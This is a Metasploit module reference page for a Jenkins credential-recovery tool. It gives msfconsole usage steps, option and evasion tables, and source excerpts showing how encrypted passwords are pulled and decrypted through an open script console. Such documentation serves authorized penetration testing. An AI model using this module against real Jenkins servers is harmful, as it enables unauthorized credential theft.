Jenkins Domain Credential Recovery - Metasploit
This page contains detailed information about how to use the auxiliary/gather/jenkins_cred_recovery metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Jenkins Domain Credential Recovery
Module: auxiliary/gather/jenkins_cred_recovery
Source code: modules/auxiliary/gather/jenkins_cred_recovery.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
This module will collect Jenkins domain credentials, and uses the script console to decrypt each password if anonymous permission is allowed. It has been tested against Jenkins version 1.590, 1.633, and 1.638.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/gather/jenkins_cred_recovery
msf auxiliary(jenkins_cred_recovery) > show targets
... a list of targets ...
msf auxiliary(jenkins_cred_recovery) > set TARGET target-id
msf auxiliary(jenkins_cred_recovery) > show options
... show and set options ...
msf auxiliary(jenkins_cred_recovery) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the gather/jenkins_cred_recovery auxiliary module looks in the msfconsole:
msf6 > use auxiliary/gather/jenkins_cred_recovery
msf6 auxiliary(gather/jenkins_cred_recovery) > show info
Name: Jenkins Domain Credential Recovery
Module: auxiliary/gather/jenkins_cred_recovery
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Th3R3p0
sinn3r <[email protected]>
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
JENKINSDOMAIN _ yes The domain where we want to extract credentials from
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path for Jenkins
VHOST no HTTP server virtual host
Description:
This module will collect Jenkins domain credentials, and uses the
script console to decrypt each password if anonymous permission is
allowed. It has been tested against Jenkins version 1.590, 1.633,
and 1.638.
References:
https://www.exploit-db.com/exploits/38664
http://www.th3r3p0.com/vulns/jenkins/jenkinsVuln.html
Module Options
This is a complete list of options available in the gather/jenkins_cred_recovery auxiliary module:
msf6 auxiliary(gather/jenkins_cred_recovery) > show options
Module options (auxiliary/gather/jenkins_cred_recovery):
Name Current Setting Required Description
---- --------------- -------- -----------
JENKINSDOMAIN _ yes The domain where we want to extract credentials from
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path for Jenkins
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the gather/jenkins_cred_recovery auxiliary module:
msf6 auxiliary(gather/jenkins_cred_recovery) > show advanced
Module advanced options (auxiliary/gather/jenkins_cred_recovery):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the gather/jenkins_cred_recovery module can do:
msf6 auxiliary(gather/jenkins_cred_recovery) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the gather/jenkins_cred_recovery auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(gather/jenkins_cred_recovery) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Connection timed out while finding the Jenkins version
- Connection timed out while enumerating accounts.
- Connection timed out while getting the encrypted password
- Unable to find encrypted password for <ID>
- Connection timed out while accessing the script console
- No permission to decrypt password
- Unable to find result
- Found <USER_DATA:USERNAME>, but unable to decrypt password.
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Connection timed out while finding the Jenkins version
Here is a relevant code snippet related to the "Connection timed out while finding the Jenkins version" error message:
50: def get_jenkins_version
51: uri = normalize_uri(target_uri.path)
52: res = send_request_cgi({ 'uri' => uri })
53:
54: unless res
55: fail_with(Failure::Unknown, 'Connection timed out while finding the Jenkins version')
56: end
57:
58: html = res.get_html_document
59: version_attribute = html.at('body').attributes['data-version']
60: version = version_attribute ? version_attribute.value : ''
Connection timed out while enumerating accounts.
Here is a relevant code snippet related to the "Connection timed out while enumerating accounts." error message:
100: uri << '/'
101:
102: res = send_request_cgi({ 'uri'=>uri })
103:
104: unless res
105: fail_with(Failure::Unknown, 'Connection timed out while enumerating accounts.')
106: end
107:
108: html = res.get_html_document
109: rows = html.search('//table[@class="sortable pane bigtable"]//tr')
110:
Connection timed out while getting the encrypted password
Here is a relevant code snippet related to the "Connection timed out while getting the encrypted password" error message:
141: def get_encrypted_password(id)
142: uri = normalize_uri(target_uri.path, 'credential-store', 'domain', domain, 'credential', id, 'update')
143: res = send_request_cgi({ 'uri'=>uri })
144:
145: unless res
146: fail_with(Failure::Unknown, 'Connection timed out while getting the encrypted password')
147: end
148:
149: html = res.get_html_document
150: input = html.at('//div[@id="main-panel"]//form//table//tr/td//input[@name="_.password"]')
151:
Unable to find encrypted password for <ID>
Here is a relevant code snippet related to the "Unable to find encrypted password for <ID>" error message:
150: input = html.at('//div[@id="main-panel"]//form//table//tr/td//input[@name="_.password"]')
151:
152: if input
153: return input.attributes['value'].value
154: else
155: vprint_error("Unable to find encrypted password for #{id}")
156: end
157:
158: nil
159: end
160:
Connection timed out while accessing the script console
Here is a relevant code snippet related to the "Connection timed out while accessing the script console" error message:
176: 'Submit' => 'Run'
177: }
178: })
179:
180: unless res
181: fail_with(Failure::Unknown, 'Connection timed out while accessing the script console')
182: end
183:
184: if /javax\.servlet\.ServletException: hudson\.security\.AccessDeniedException2/ === res.body
185: vprint_error('No permission to decrypt password')
186: return nil
No permission to decrypt password
Here is a relevant code snippet related to the "No permission to decrypt password" error message:
180: unless res
181: fail_with(Failure::Unknown, 'Connection timed out while accessing the script console')
182: end
183:
184: if /javax\.servlet\.ServletException: hudson\.security\.AccessDeniedException2/ === res.body
185: vprint_error('No permission to decrypt password')
186: return nil
187: end
188:
189: html = res.get_html_document
190: result = html.at('//div[@id="main-panel"]//pre[contains(text(), "Result:")]')
Unable to find result
Here is a relevant code snippet related to the "Unable to find result" error message:
190: result = html.at('//div[@id="main-panel"]//pre[contains(text(), "Result:")]')
191: if result
192: decrypted_password = result.inner_text.scan(/^Result: ([[:print:]]+)/).flatten.first
193: return decrypted_password
194: else
195: vprint_error('Unable to find result')
196: end
197:
198: nil
199: end
200:
Found <USER_DATA:USERNAME>, but unable to decrypt password.
Here is a relevant code snippet related to the "Found <USER_DATA:USERNAME>, but unable to decrypt password." error message:
262: print_good("Found credential: #{user_data[:username]}:#{pass}")
263: else
264: print_good("Found credential: #{user_data[:username]}:#{pass} (#{user_data[:description]})")
265: end
266: else
267: print_status("Found #{user_data[:username]}, but unable to decrypt password.")
268: end
269:
270: report_cred(
271: user: user_data[:username],
272: password: pass,
Go back to menu.
Related Pull Requests
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6277 Merged Pull Request: Add Jenkins Domain Credential Recovery Auxiliary Module
References
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/jenkins_command
- auxiliary/scanner/http/jenkins_enum
- auxiliary/scanner/http/jenkins_login
- auxiliary/scanner/jenkins/jenkins_udp_broadcast_enum
- exploit/linux/http/jenkins_cli_deserialization
- exploit/linux/misc/jenkins_java_deserialize
- exploit/linux/misc/jenkins_ldap_deserialize
- exploit/multi/http/jenkins_metaprogramming
- exploit/multi/http/jenkins_script_console
- exploit/multi/http/jenkins_xstream_deserialize
- post/multi/gather/jenkins_gather
- auxiliary/admin/http/netgear_wnr2000_pass_recovery
- auxiliary/admin/scada/modicon_password_recovery
- auxiliary/admin/scada/moxa_credentials_recovery
- post/windows/gather/forensics/recovery_files
- auxiliary/gather/advantech_webaccess_creds
- auxiliary/gather/apache_rave_creds
- auxiliary/gather/asterisk_creds
- auxiliary/gather/dolibarr_creds_sqli
- auxiliary/gather/doliwamp_traversal_creds
- auxiliary/gather/eaton_nsm_creds
- auxiliary/gather/eventlog_cred_disclosure
- auxiliary/gather/fortios_vpnssl_traversal_creds_leak
- auxiliary/gather/hp_snac_domain_creds
- auxiliary/gather/pimcore_creds_sqli
- auxiliary/gather/teamtalk_creds
- auxiliary/gather/trackit_sql_domain_creds
Authors
- Th3R3p0
- sinn3r
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.